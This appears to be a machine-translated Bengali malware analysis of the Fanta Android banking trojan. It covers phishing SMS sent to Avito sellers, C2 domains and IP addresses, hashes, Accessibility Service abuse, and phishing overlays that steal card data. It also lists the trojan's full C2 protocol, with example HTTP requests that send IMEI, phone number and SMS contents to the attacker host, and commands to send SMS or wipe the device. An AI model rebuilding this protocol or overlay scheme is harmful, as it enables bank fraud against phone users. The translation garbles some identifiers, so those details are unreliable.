Leysya, Fanta: একটি পুরানো Android Trojan এর জন্য একটি নতুন কৌশল

একদিন আপনি অ্যাভিটোতে কিছু বিক্রি করতে চান এবং আপনার পণ্যের একটি বিশদ বিবরণ পোস্ট করার পরে (উদাহরণস্বরূপ, একটি RAM মডিউল), আপনি এই বার্তাটি পাবেন:

একবার আপনি লিঙ্কটি খুললে, আপনি একটি আপাতদৃষ্টিতে নিরীহ পৃষ্ঠা দেখতে পাবেন যা আপনাকে, খুশি এবং সফল বিক্রেতাকে জানিয়ে দেবে যে একটি ক্রয় করা হয়েছে:

একবার আপনি "চালিয়ে যান" বোতামে ক্লিক করলে, একটি আইকন সহ একটি APK ফাইল এবং একটি বিশ্বস্ত-অনুপ্রেরণামূলক নাম আপনার Android ডিভাইসে ডাউনলোড করা হবে৷ আপনি একটি অ্যাপ্লিকেশন ইনস্টল করেছেন যেটি কোনো কারণে অ্যাক্সেসিবিলিটি সার্ভিসের অধিকারের জন্য অনুরোধ করেছে, তারপর কয়েকটি উইন্ডো উপস্থিত হয়েছে এবং দ্রুত অদৃশ্য হয়ে গেছে এবং... এটাই।

আপনি আপনার ব্যালেন্স চেক করতে যান, কিন্তু কোনো কারণে আপনার ব্যাঙ্কিং অ্যাপ আবার আপনার কার্ডের বিশদ জানতে চায়। ডেটা প্রবেশ করার পরে, ভয়ানক কিছু ঘটে: কিছু কারণে এখনও আপনার কাছে অস্পষ্ট, অর্থ আপনার অ্যাকাউন্ট থেকে অদৃশ্য হতে শুরু করে। আপনি সমস্যাটি সমাধান করার চেষ্টা করছেন, কিন্তু আপনার ফোন প্রতিরোধ করে: এটি "ব্যাক" এবং "হোম" কী টিপে, বন্ধ করে না এবং আপনাকে কোনো নিরাপত্তা ব্যবস্থা সক্রিয় করার অনুমতি দেয় না। ফলস্বরূপ, আপনি টাকা ছাড়া বাকি আছে, আপনার পণ্য ক্রয় করা হয় নি, আপনি বিভ্রান্ত এবং বিস্মিত: কি হয়েছে?

উত্তরটি সহজ: আপনি ফ্লেক্সনেট পরিবারের সদস্য অ্যান্ড্রয়েড ট্রোজান ফ্যান্টার শিকার হয়েছেন। এটা কিভাবে ঘটলো? এখন ব্যাখ্যা করা যাক।

লেখক: আন্দ্রে পোলোভিনকিন, ম্যালওয়্যার বিশ্লেষণে জুনিয়র বিশেষজ্ঞ, ইভান পিসারেভ, ম্যালওয়্যার বিশ্লেষণে বিশেষজ্ঞ।

কিছু পরিসংখ্যান

Android Trojans-এর Flexnet পরিবার 2015 সালে প্রথম পরিচিত হয়েছিল। একটি মোটামুটি দীর্ঘ সময়ের কার্যকলাপে, পরিবারটি বিভিন্ন উপ-প্রজাতিতে প্রসারিত হয়েছিল: ফান্টা, লাইমবট, লিপটন ইত্যাদি। ট্রোজান, সেইসাথে এর সাথে সম্পর্কিত অবকাঠামো, স্থির থাকে না: নতুন কার্যকর বিতরণ স্কিমগুলি তৈরি করা হচ্ছে - আমাদের ক্ষেত্রে, একটি নির্দিষ্ট ব্যবহারকারী-বিক্রেতার লক্ষ্যে উচ্চ-মানের ফিশিং পৃষ্ঠাগুলি এবং ট্রোজান বিকাশকারীরা ফ্যাশনেবল প্রবণতা অনুসরণ করে ভাইরাস লেখা - নতুন কার্যকারিতা যোগ করা যা সংক্রামিত ডিভাইস এবং বাইপাস সুরক্ষা ব্যবস্থা থেকে আরও দক্ষতার সাথে অর্থ চুরি করা সম্ভব করে।

এই নিবন্ধে বর্ণিত প্রচারাভিযানটি রাশিয়ার ব্যবহারকারীদের লক্ষ্য করে; ইউক্রেনে অল্প সংখ্যক সংক্রামিত ডিভাইস রেকর্ড করা হয়েছিল এবং কাজাখস্তান এবং বেলারুশে এমনকি কম।

যদিও ফ্লেক্সনেট এখন 4 বছরেরও বেশি সময় ধরে অ্যান্ড্রয়েড ট্রোজান এরেনায় রয়েছে এবং অনেক গবেষকের দ্বারা বিশদভাবে অধ্যয়ন করা হয়েছে, এটি এখনও ভাল অবস্থায় রয়েছে। জানুয়ারী 2019 থেকে শুরু করে, ক্ষতির সম্ভাব্য পরিমাণ 35 মিলিয়ন রুবেলেরও বেশি - এবং এটি শুধুমাত্র রাশিয়ায় প্রচারণার জন্য। 2015 সালে, এই অ্যান্ড্রয়েড ট্রোজানের বিভিন্ন সংস্করণ ভূগর্ভস্থ ফোরামে বিক্রি হয়েছিল, যেখানে একটি বিশদ বিবরণ সহ ট্রোজানের উত্স কোডও পাওয়া যেতে পারে। এর মানে হল বিশ্বের ক্ষয়ক্ষতির পরিসংখ্যান আরও চিত্তাকর্ষক। এইরকম একজন বৃদ্ধ মানুষের জন্য একটি খারাপ সূচক নয়, তাই না?

বিক্রি থেকে প্রতারণা

বিজ্ঞাপন Avito পোস্ট করার জন্য ইন্টারনেট পরিষেবার জন্য একটি ফিশিং পৃষ্ঠার পূর্বে উপস্থাপিত স্ক্রিনশট থেকে দেখা যায়, এটি একটি নির্দিষ্ট শিকারের জন্য প্রস্তুত করা হয়েছিল। স্পষ্টতই, আক্রমণকারীরা অ্যাভিটোর একটি পার্সার ব্যবহার করে, যা বিক্রেতার ফোন নম্বর এবং নাম, সেইসাথে পণ্যের বিবরণ বের করে। পৃষ্ঠাটি প্রসারিত করার পরে এবং APK ফাইলটি প্রস্তুত করার পরে, শিকারকে তার নাম সহ একটি এসএমএস পাঠানো হয় এবং একটি ফিশিং পৃষ্ঠার লিঙ্ক সহ তার পণ্যের বিবরণ এবং পণ্যের "বিক্রয়" থেকে প্রাপ্ত পরিমাণ। বোতামে ক্লিক করে, ব্যবহারকারী একটি দূষিত APK ফাইল পায় - ফান্টা।

shcet491[.]ru ডোমেনের একটি গবেষণায় দেখা গেছে যে এটি Hostinger-এর DNS সার্ভারগুলিতে অর্পণ করা হয়েছে:

• ns1.hostinger.ru
• ns2.hostinger.ru
• ns3.hostinger.ru
• ns4.hostinger.ru

ডোমেন জোন ফাইলে আইপি ঠিকানা 31.220.23[.]236, 31.220.23[.]243, এবং 31.220.23[.]235 নির্দেশ করে এন্ট্রি রয়েছে। যাইহোক, ডোমেনের প্রাথমিক সম্পদ রেকর্ড (A রেকর্ড) IP ঠিকানা 178.132.1 [.]240 সহ একটি সার্ভারের দিকে নির্দেশ করে।

IP ঠিকানা 178.132.1[.]240 নেদারল্যান্ডে অবস্থিত এবং হোস্টারের অন্তর্গত ওয়ার্ল্ডস্ট্রিম. IP ঠিকানা 31.220.23[.]235, 31.220.23[.]236 এবং 31.220.23[.]243 যুক্তরাজ্যে অবস্থিত এবং শেয়ার্ড হোস্টিং সার্ভার HOSTINGER-এর অন্তর্গত। রেকর্ডার হিসেবে ব্যবহৃত হয় openprov-ru. নিম্নলিখিত ডোমেনগুলিও আইপি ঠিকানা 178.132.1[.]240 এর সমাধান করেছে:

• sdelka-ru[.]ru
• tovar-av[.]ru
• av-tovar[.]ru
• ru-sdelka[.]ru
• shcet382[.]ru
• sdelka221[.]ru
• sdelka211[.]ru
• vyplata437[.]ru
• viplata291[.]ru
• perevod273[.]ru
• perevod901[.]ru

এটি লক্ষ করা উচিত যে নিম্নলিখিত বিন্যাসে লিঙ্কগুলি প্রায় সমস্ত ডোমেন থেকে উপলব্ধ ছিল:

http://(www.){0,1}<%domain%>/[0-9]{7}

এই টেমপ্লেটটিতে একটি SMS বার্তা থেকে একটি লিঙ্কও রয়েছে৷ ঐতিহাসিক তথ্যের উপর ভিত্তি করে, এটি পাওয়া গেছে যে একটি ডোমেন উপরে বর্ণিত প্যাটার্নের বেশ কয়েকটি লিঙ্কের সাথে মিলে যায়, যা ইঙ্গিত করে যে একটি ডোমেন বেশ কয়েকটি শিকারের কাছে ট্রোজান বিতরণ করতে ব্যবহৃত হয়েছিল।

আসুন একটু এগিয়ে যাই: একটি SMS থেকে একটি লিঙ্কের মাধ্যমে ডাউনলোড করা ট্রোজান ঠিকানাটিকে একটি নিয়ন্ত্রণ সার্ভার হিসাবে ব্যবহার করে onusedseddohap [.]ক্লাব. এই ডোমেনটি 2019-03-12 তারিখে নিবন্ধিত হয়েছিল এবং 2019-04-29 থেকে শুরু করে, APK অ্যাপ্লিকেশনগুলি এই ডোমেনের সাথে ইন্টারঅ্যাক্ট করেছে৷ VirusTotal থেকে প্রাপ্ত ডেটার উপর ভিত্তি করে, মোট 109টি অ্যাপ্লিকেশন এই সার্ভারের সাথে ইন্টারঅ্যাক্ট করেছে। ডোমেইন নিজেই আইপি ঠিকানার সমাধান করেছে 217.23.14[।]27, নেদারল্যান্ডে অবস্থিত এবং হোস্টারের মালিকানাধীন ওয়ার্ল্ডস্ট্রিম. রেকর্ডার হিসেবে ব্যবহার করা হয় নেমচীপ. ডোমেনগুলিও এই আইপি ঠিকানার সমাধান করেছে৷ খারাপ-রাকুন [.]ক্লাব (2018-09-25 থেকে শুরু) এবং খারাপ-রেকুন [.]লাইভ (2018-10-25 থেকে শুরু)। ডোমেইন সহ খারাপ-রাকুন [.]ক্লাব 80 টিরও বেশি APK ফাইলের সাথে ইন্টারঅ্যাক্ট হয়েছে খারাপ-রেকুন [.]লাইভ - 100 এর বেশি।

সাধারণভাবে, আক্রমণটি নিম্নরূপ অগ্রসর হয়:

ফ্যান্টার ঢাকনার নিচে কি আছে?

অন্যান্য অনেক অ্যান্ড্রয়েড ট্রোজানের মতো, ফান্টা এসএমএস বার্তা পড়তে এবং পাঠাতে, ইউএসএসডি অনুরোধ করতে এবং অ্যাপ্লিকেশনগুলির উপরে (ব্যাংকিং সহ) নিজস্ব উইন্ডো প্রদর্শন করতে সক্ষম। যাইহোক, এই পরিবারের কার্যকারিতার অস্ত্রাগার এসেছে: ফ্যান্টা ব্যবহার করা শুরু করে অ্যাক্সেসিবিলিটি সার্ভিস বিভিন্ন উদ্দেশ্যে: অন্যান্য অ্যাপ্লিকেশন থেকে বিজ্ঞপ্তিগুলির বিষয়বস্তু পড়া, সনাক্তকরণ প্রতিরোধ করা এবং একটি সংক্রামিত ডিভাইসে ট্রোজান কার্যকর করা বন্ধ করা ইত্যাদি। ফ্যান্টা 4.4 এর কম বয়সী Android এর সমস্ত সংস্করণে কাজ করে৷ এই নিবন্ধে আমরা নিম্নলিখিত ফ্যান্টা নমুনাটি ঘনিষ্ঠভাবে দেখব:

• MD5: 0826bd11b2c130c4c8ac137e395ac2d4
• SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
• SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

লঞ্চের পরপরই

লঞ্চের পরপরই, ট্রোজান তার আইকন লুকিয়ে রাখে। সংক্রামিত ডিভাইসের নাম তালিকায় না থাকলেই অ্যাপ্লিকেশনটি কাজ করতে পারে:

• android_x86
• VirtualBox
• Nexus 5X(বুলহেড)
• Nexus 5(ক্ষুর)

এই চেকটি ট্রোজানের প্রধান পরিষেবাতে বাহিত হয় - প্রধান পরিষেবা. প্রথমবার চালু হলে, অ্যাপ্লিকেশনের কনফিগারেশন প্যারামিটারগুলি ডিফল্ট মানগুলিতে শুরু হয় (কনফিগারেশন ডেটা সংরক্ষণের বিন্যাস এবং তাদের অর্থ পরে আলোচনা করা হবে), এবং একটি নতুন সংক্রামিত ডিভাইস নিয়ন্ত্রণ সার্ভারে নিবন্ধিত হয়। বার্তার ধরন সহ একটি HTTP POST অনুরোধ সার্ভারে পাঠানো হবে register_bot এবং সংক্রামিত ডিভাইস সম্পর্কে তথ্য (Android সংস্করণ, IMEI, ফোন নম্বর, অপারেটরের নাম এবং দেশের কোড যেখানে অপারেটর নিবন্ধিত আছে)। ঠিকানাটি নিয়ন্ত্রণ সার্ভার হিসাবে কাজ করে hXXp://onuseseddohap[.]club/controller.php. উত্তরে, সার্ভার ক্ষেত্রগুলি সম্বলিত একটি বার্তা পাঠায় বট_আইডি, bot_pwd, সার্ভার — অ্যাপ্লিকেশনটি এই মানগুলিকে CnC সার্ভারের পরামিতি হিসাবে সংরক্ষণ করে। প্যারামিটার সার্ভার ক্ষেত্রটি না পেলে ঐচ্ছিক: ফান্টা নিবন্ধন ঠিকানা ব্যবহার করে - hXXp://onuseseddohap[.]club/controller.php. CnC ঠিকানা পরিবর্তন করার ফাংশন দুটি সমস্যা সমাধানের জন্য ব্যবহার করা যেতে পারে: বেশ কয়েকটি সার্ভারের মধ্যে সমানভাবে লোড বিতরণ করতে (যদি প্রচুর সংখ্যক সংক্রামিত ডিভাইস থাকে, একটি অপ্টিমাইজ করা ওয়েব সার্ভারে লোড বেশি হতে পারে), এবং এছাড়াও ব্যবহার করার জন্য CnC সার্ভারগুলির একটির ব্যর্থতার ক্ষেত্রে একটি বিকল্প সার্ভার।

অনুরোধ পাঠানোর সময় যদি কোনো ত্রুটি ঘটে, ট্রোজান 20 সেকেন্ড পরে নিবন্ধন প্রক্রিয়া পুনরাবৃত্তি করবে।

একবার ডিভাইসটি সফলভাবে নিবন্ধিত হয়ে গেলে, ফান্টা ব্যবহারকারীকে নিম্নলিখিত বার্তাটি প্রদর্শন করবে:

গুরুত্বপূর্ণ নোট: পরিষেবা কল সিস্টেম নিরাপত্তা — ট্রোজান পরিষেবার নাম, এবং বোতামে ক্লিক করার পরে ঠিক আছে সংক্রামিত ডিভাইসের অ্যাক্সেসিবিলিটি সেটিংস সহ একটি উইন্ডো খুলবে, যেখানে ব্যবহারকারীকে অবশ্যই দূষিত পরিষেবার জন্য অ্যাক্সেসযোগ্যতার অধিকার প্রদান করতে হবে:

ব্যবহারকারী চালু হওয়ার সাথে সাথে অ্যাক্সেসিবিলিটি সার্ভিস, ফান্টা অ্যাপ্লিকেশন উইন্ডোগুলির বিষয়বস্তু এবং সেগুলিতে সম্পাদিত ক্রিয়াগুলিতে অ্যাক্সেস লাভ করে:

অ্যাক্সেসিবিলিটি অধিকার পাওয়ার পরপরই, ট্রোজান প্রশাসকের অধিকার এবং বিজ্ঞপ্তি পড়ার অধিকারের অনুরোধ করে:

অ্যাক্সেসিবিলিটি সার্ভিস ব্যবহার করে, অ্যাপ্লিকেশনটি কীস্ট্রোকগুলিকে অনুকরণ করে, যার ফলে নিজেকে সমস্ত প্রয়োজনীয় অধিকার দেয়।

ফ্যান্টা কনফিগারেশন ডেটা, সেইসাথে সংক্রামিত ডিভাইস সম্পর্কে প্রক্রিয়ায় সংগৃহীত তথ্য সংরক্ষণ করার জন্য প্রয়োজনীয় একাধিক ডাটাবেস উদাহরণ (যা পরে বর্ণনা করা হবে) তৈরি করে। সংগৃহীত তথ্য পাঠাতে, ট্রোজান ডাটাবেস থেকে ক্ষেত্র ডাউনলোড করতে এবং নিয়ন্ত্রণ সার্ভার থেকে একটি কমান্ড গ্রহণ করার জন্য ডিজাইন করা একটি পুনরাবৃত্তিমূলক কাজ তৈরি করে। CnC অ্যাক্সেস করার জন্য ব্যবধানটি Android সংস্করণের উপর নির্ভর করে সেট করা হয়েছে: 5.1 এর ক্ষেত্রে, ব্যবধানটি 10 ​​সেকেন্ড হবে, অন্যথায় 60 সেকেন্ড।

কমান্ড পাওয়ার জন্য, ফান্টা একটি অনুরোধ করে GetTask ব্যবস্থাপনা সার্ভারে। প্রতিক্রিয়া হিসাবে, CnC নিম্নলিখিত কমান্ডগুলির মধ্যে একটি পাঠাতে পারে:

টীম	বিবরণ
0	এসএমএস বার্তা পাঠান
1	একটি ফোন কল বা ইউএসএসডি কমান্ড করুন
2	একটি প্যারামিটার আপডেট করে অন্তর
3	একটি প্যারামিটার আপডেট করে পথিমধ্যে রোধ করা
6	একটি প্যারামিটার আপডেট করে এসএমএস ম্যানেজার
9	এসএমএস বার্তা সংগ্রহ করা শুরু করুন
11	ফ্যাক্টরি সেটিংসে আপনার ফোন রিসেট করুন
12	ডায়ালগ বক্স তৈরির লগিং সক্ষম/অক্ষম করুন

ফান্টা 70টি ব্যাঙ্কিং অ্যাপ, দ্রুত পেমেন্ট সিস্টেম এবং ই-ওয়ালেট থেকে বিজ্ঞপ্তি সংগ্রহ করে এবং একটি ডাটাবেসে সংরক্ষণ করে।

কনফিগারেশন পরামিতি সংরক্ষণ করা

কনফিগারেশন পরামিতি সঞ্চয় করতে, ফান্টা অ্যান্ড্রয়েড প্ল্যাটফর্মের জন্য একটি আদর্শ পদ্ধতি ব্যবহার করে - পছন্দসমূহ-নথি পত্র. সেটিংস নামের একটি ফাইলে সংরক্ষণ করা হবে সেটিংস. সংরক্ষিত পরামিতিগুলির একটি বিবরণ নীচের টেবিলে রয়েছে।

নাম	ডিফল্ট মান	সম্ভাব্য মান	বিবরণ
id	0	পূর্ণসংখ্যা	বট আইডি
সার্ভার	hXXp://onuseseddohap[.]club/	URL টি	নিয়ন্ত্রণ সার্ভার ঠিকানা
PWD	-	স্ট্রিং	সার্ভার পাসওয়ার্ড
অন্তর	20	পূর্ণসংখ্যা	বিরতি. নিম্নলিখিত কাজগুলি কতক্ষণ পিছিয়ে দেওয়া উচিত তা নির্দেশ করে: একটি পাঠানো SMS বার্তার অবস্থা সম্পর্কে একটি অনুরোধ পাঠানোর সময় ম্যানেজমেন্ট সার্ভার থেকে একটি নতুন কমান্ড গ্রহণ করা হচ্ছে
পথিমধ্যে রোধ করা	সব	all/telNumber	যদি ক্ষেত্রটি স্ট্রিংয়ের সমান হয় সব বা telNumber, তারপর প্রাপ্ত SMS বার্তাটি অ্যাপ্লিকেশন দ্বারা আটকানো হবে এবং ব্যবহারকারীকে দেখানো হবে না
এসএমএস ম্যানেজার	0	0/1	ডিফল্ট এসএমএস প্রাপক হিসাবে অ্যাপ্লিকেশনটি সক্ষম/অক্ষম করুন৷
পড়ুন ডায়ালগ	মিথ্যা	সত্য মিথ্যা	ইভেন্ট লগিং সক্ষম/অক্ষম করুন অ্যাক্সেসিবিলিটি ইভেন্ট

ফান্টাও ফাইল ব্যবহার করে এসএমএস ম্যানেজার:

নাম	ডিফল্ট মান	সম্ভাব্য মান	বিবরণ
pckg	-	স্ট্রিং	ব্যবহৃত SMS বার্তা পরিচালকের নাম

ডাটাবেসের সাথে মিথস্ক্রিয়া

এর অপারেশন চলাকালীন, ট্রোজান দুটি ডাটাবেস ব্যবহার করে। ডাটাবেস নামে a ফোন থেকে সংগৃহীত বিভিন্ন তথ্য সংরক্ষণ করতে ব্যবহৃত হয়। দ্বিতীয় ডাটাবেসের নাম দেওয়া হয়েছে fanta.db এবং ব্যাঙ্ক কার্ড সম্পর্কে তথ্য সংগ্রহ করার জন্য ডিজাইন করা ফিশিং উইন্ডো তৈরির জন্য দায়ী সেটিংস সংরক্ষণ করতে ব্যবহৃত হয়।

ট্রোজান ডাটাবেস ব্যবহার করে а সংগৃহীত তথ্য সঞ্চয় করতে এবং আপনার ক্রিয়াগুলি লগ করতে। ডেটা একটি টেবিলে সংরক্ষণ করা হয় লগ. একটি টেবিল তৈরি করতে, নিম্নলিখিত SQL ক্যোয়ারী ব্যবহার করুন:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

ডাটাবেসে নিম্নলিখিত তথ্য রয়েছে:

1. একটি বার্তা দিয়ে সংক্রামিত ডিভাইসের স্টার্টআপ লগিং করা ফোনটা চালু!

2. অ্যাপ্লিকেশন থেকে বিজ্ঞপ্তি। বার্তাটি নিম্নলিখিত টেমপ্লেট অনুযায়ী তৈরি করা হয়েছে:

(<%App Name%>)<%Title%>: <%Notification text%>

3. ট্রোজান দ্বারা তৈরি ফিশিং ফর্ম থেকে ব্যাঙ্ক কার্ড ডেটা। প্যারামিটার VIEW_NAME নিম্নলিখিতগুলির মধ্যে একটি হতে পারে:

• AliExpress
• অ্যাভিটো
• গুগল প্লে
• বিবিধ <%অ্যাপ নাম%>

বার্তাটি বিন্যাসে লগ ইন করা হয়েছে:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. ফরম্যাটে ইনকামিং/আউটগোয়িং এসএমএস বার্তা:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. প্যাকেজ সম্পর্কে তথ্য যা বিন্যাসে ডায়ালগ বক্স তৈরি করে:

(<%Package name%>)<%Package information%>

উদাহরণ টেবিল লগ:

ফান্টার একটি কার্যকারিতা হল ব্যাঙ্ক কার্ড সম্পর্কে তথ্য সংগ্রহ করা। ব্যাঙ্কিং অ্যাপ্লিকেশন খোলার সময় ফিশিং উইন্ডো তৈরির মাধ্যমে ডেটা সংগ্রহ ঘটে। ট্রোজান শুধুমাত্র একবার ফিশিং উইন্ডো তৈরি করে। উইন্ডোটি ব্যবহারকারীকে দেখানো হয়েছে এমন তথ্য একটি টেবিলে সংরক্ষণ করা হয় সেটিংস ডাটাবেসে fanta.db. একটি ডাটাবেস তৈরি করতে, নিম্নলিখিত SQL ক্যোয়ারী ব্যবহার করুন:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

সমস্ত টেবিল ক্ষেত্র সেটিংস ডিফল্টরূপে 1 তে আরম্ভ করা হয়েছে (একটি ফিশিং উইন্ডো তৈরি করুন)। ব্যবহারকারী তাদের ডেটা প্রবেশ করার পরে, মানটি 0 এ সেট করা হবে। টেবিল ক্ষেত্রগুলির উদাহরণ সেটিংস:

• লগইন করতে পারেন — ব্যাঙ্কিং অ্যাপ্লিকেশন খোলার সময় ফর্মটি প্রদর্শনের জন্য ক্ষেত্রটি দায়ী৷
• প্রথম_ব্যাংক - ব্যবহার করা হয় না
• can_avito — Avito অ্যাপ্লিকেশন খোলার সময় ফর্মটি প্রদর্শনের জন্য ক্ষেত্রটি দায়ী৷
• can_ali — Aliexpress অ্যাপ্লিকেশন খোলার সময় ফর্মটি প্রদর্শনের জন্য ক্ষেত্রটি দায়ী৷
• ক্যান_অন্য — তালিকা থেকে যেকোনো আবেদন খোলার সময় ফর্মটি প্রদর্শনের জন্য ক্ষেত্রটি দায়ী: ইউলা, পান্ডাও, ড্রম অটো, ওয়ালেট। ডিসকাউন্ট এবং বোনাস কার্ড, Aviasales, বুকিং, Trivago
• can_card — খোলার সময় ফর্মটি প্রদর্শনের জন্য ক্ষেত্রটি দায়ী৷ গুগল প্লে

ব্যবস্থাপনা সার্ভারের সাথে মিথস্ক্রিয়া

ম্যানেজমেন্ট সার্ভারের সাথে নেটওয়ার্ক মিথস্ক্রিয়া HTTP প্রোটোকলের মাধ্যমে ঘটে। নেটওয়ার্কের সাথে কাজ করতে, ফান্টা জনপ্রিয় রেট্রোফিট লাইব্রেরি ব্যবহার করে। অনুরোধ পাঠানো হয়: hXXp://onuseseddohap[.]club/controller.php. সার্ভারে নিবন্ধন করার সময় সার্ভার ঠিকানা পরিবর্তন করা যেতে পারে। কুকিজ সার্ভার থেকে প্রতিক্রিয়া পাঠানো হতে পারে. ফান্টা সার্ভারে নিম্নলিখিত অনুরোধগুলি করে:

• কন্ট্রোল সার্ভারে বট নিবন্ধন একবার হয়, প্রথম লঞ্চের পরে। সংক্রামিত ডিভাইস সম্পর্কে নিম্নলিখিত ডেটা সার্ভারে পাঠানো হয়:
  · মিষ্ট রূটি — সার্ভার থেকে প্রাপ্ত কুকিজ (ডিফল্ট মান একটি খালি স্ট্রিং)
  · মোড — স্ট্রিং ধ্রুবক register_bot
  · উপসর্গ — পূর্ণসংখ্যা ধ্রুবক 2
  · সংস্করণ_এসডিকে - নিম্নলিখিত টেমপ্লেট অনুযায়ী গঠিত হয়: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
  · IMEI — সংক্রমিত ডিভাইসের IMEI
  · দেশ — ISO বিন্যাসে অপারেটর নিবন্ধিত দেশের কোড
  · সংখ্যা - ফোন নম্বর
  · অপারেটর - অপারেটরের নাম

  সার্ভারে পাঠানো একটি অনুরোধের একটি উদাহরণ:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 144
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
  

  অনুরোধের জবাবে, সার্ভারকে অবশ্যই নিম্নলিখিত পরামিতি সমন্বিত একটি JSON অবজেক্ট ফেরত দিতে হবে:
  বট_আইডি - সংক্রামিত ডিভাইসের আইডি। bot_id 0 এর সমান হলে, ফান্টা অনুরোধটি পুনরায় কার্যকর করবে।
  bot_pwd - সার্ভারের জন্য পাসওয়ার্ড।
  সার্ভার - সার্ভারের ঠিকানা নিয়ন্ত্রণ করুন। ঐচ্ছিক পরামিতি। যদি পরামিতি নির্দিষ্ট করা না থাকে, তাহলে অ্যাপ্লিকেশনে সংরক্ষিত ঠিকানাটি ব্যবহার করা হবে।

  উদাহরণ JSON অবজেক্ট:

  {
      "response":[
     	 {
     		 "bot_id": <%BOT_ID%>,
     		 "bot_pwd": <%BOT_PWD%>,
     		 "server": <%SERVER%>
     	 }
      ],
      "status":"ok"
  }

• সার্ভার থেকে একটি কমান্ড গ্রহণ করার জন্য অনুরোধ. নিম্নলিখিত ডেটা সার্ভারে পাঠানো হয়:
  · মিষ্ট রূটি — সার্ভার থেকে কুকি প্রাপ্ত
  · বিদার প্রস্তাব — অনুরোধ পাঠানোর সময় প্রাপ্ত সংক্রামিত ডিভাইসের আইডি register_bot
  · PWD - সার্ভারের জন্য পাসওয়ার্ড
  · divice_admin — ক্ষেত্র নির্ধারণ করে প্রশাসকের অধিকার প্রাপ্ত হয়েছে কিনা। প্রশাসক অধিকার প্রাপ্ত করা হয়েছে, ক্ষেত্র সমান 1অন্যথায় 0
  · অভিগম্যতা — অ্যাক্সেসিবিলিটি সার্ভিস অপারেশন স্ট্যাটাস। যদি পরিষেবাটি শুরু করা হয়, মান হয় 1অন্যথায় 0
  · এসএমএস ম্যানেজার — এসএমএস পাওয়ার জন্য ডিফল্ট অ্যাপ্লিকেশন হিসাবে ট্রোজান সক্ষম করা হয়েছে কিনা তা দেখায়
  · পর্দা - স্ক্রীনটি কী অবস্থায় রয়েছে তা প্রদর্শন করে। মান নির্ধারণ করা হবে 1, যদি স্ক্রীন চালু থাকে, অন্যথায় 0;

  সার্ভারে পাঠানো একটি অনুরোধের একটি উদাহরণ:

  POST /controller.php HTTP/1.1
  Cookie:
  Content-Type: application/x-www-form-urlencoded
  Host: onuseseddohap.club
  Connection: close
  Accept-Encoding: gzip, deflate
  User-Agent: okhttp/3.6.0
  
  mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>

  কমান্ডের উপর নির্ভর করে, সার্ভার বিভিন্ন পরামিতি সহ একটি JSON বস্তু ফেরত দিতে পারে:

  · টীম এসএমএস বার্তা পাঠান: পরামিতিগুলিতে ফোন নম্বর, SMS বার্তার পাঠ্য এবং পাঠানো বার্তার ID থাকে৷ টাইপ সহ সার্ভারে একটি বার্তা পাঠানোর সময় সনাক্তকারী ব্যবহার করা হয় setSmsStatus.

  {
      "response":
      [
     	 {
     		 "mode": 0,
     		 "sms_number": <%SMS_NUMBER%>,
     		 "sms_text": <%SMS_TEXT%>,
     		 "sms_id": %SMS_ID%
     	 }
      ],
      "status":"ok"
  }

  · টীম একটি ফোন কল বা ইউএসএসডি কমান্ড করুন: ফোন নম্বর বা কমান্ড রেসপন্স বডিতে আসে।

  {
      "response":
      [
     	 {
     		 "mode": 1,
     		 "command": <%TEL_NUMBER%>
     	 }
      ],
      "status":"ok"
  }

  · টীম ব্যবধান পরামিতি পরিবর্তন করুন.

  {
      "response":
      [
     	 {
     		 "mode": 2,
     		 "interval": <%SECONDS%>
     	 }
      ],
      "status":"ok"
  }

  · টীম ইন্টারসেপ্ট প্যারামিটার পরিবর্তন করুন.

  {
      "response":
      [
     	 {
     		 "mode": 3,
     		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
     	 }
      ],
      "status":"ok"
  }

  · টীম SmsManager ক্ষেত্র পরিবর্তন করুন.

  {
      "response":
      [
     	 {
     		 "mode": 6,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

  · টীম সংক্রমিত ডিভাইস থেকে এসএমএস বার্তা সংগ্রহ করুন.

  {
      "response":
      [
     	 {
     		 "mode": 9
     	 }
      ],
      "status":"ok"
  }

  · টীম ফ্যাক্টরি সেটিংসে আপনার ফোন রিসেট করুন:

  {
      "response":
      [
     	 {
     		 "mode": 11
     	 }
      ],
      "status":"ok"
  }

  · টীম ReadDialog প্যারামিটার পরিবর্তন করুন.

  {
      "response":
      [
     	 {
     		 "mode": 12,
     		 "enable": 0/1
     	 }
      ],
      "status":"ok"
  }

• টাইপ সহ একটি বার্তা পাঠানো হচ্ছে setSmsStatus. কমান্ড কার্যকর করার পরে এই অনুরোধ করা হয় এসএমএস বার্তা পাঠান. অনুরোধ এই মত দেখায়:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

• ডাটাবেস বিষয়বস্তু আপলোড করা হচ্ছে. অনুরোধ প্রতি এক সারি প্রেরণ করা হয়. নিম্নলিখিত ডেটা সার্ভারে পাঠানো হয়:
  · মিষ্ট রূটি — সার্ভার থেকে কুকি প্রাপ্ত
  · মোড — স্ট্রিং ধ্রুবক setSaveInboxSms
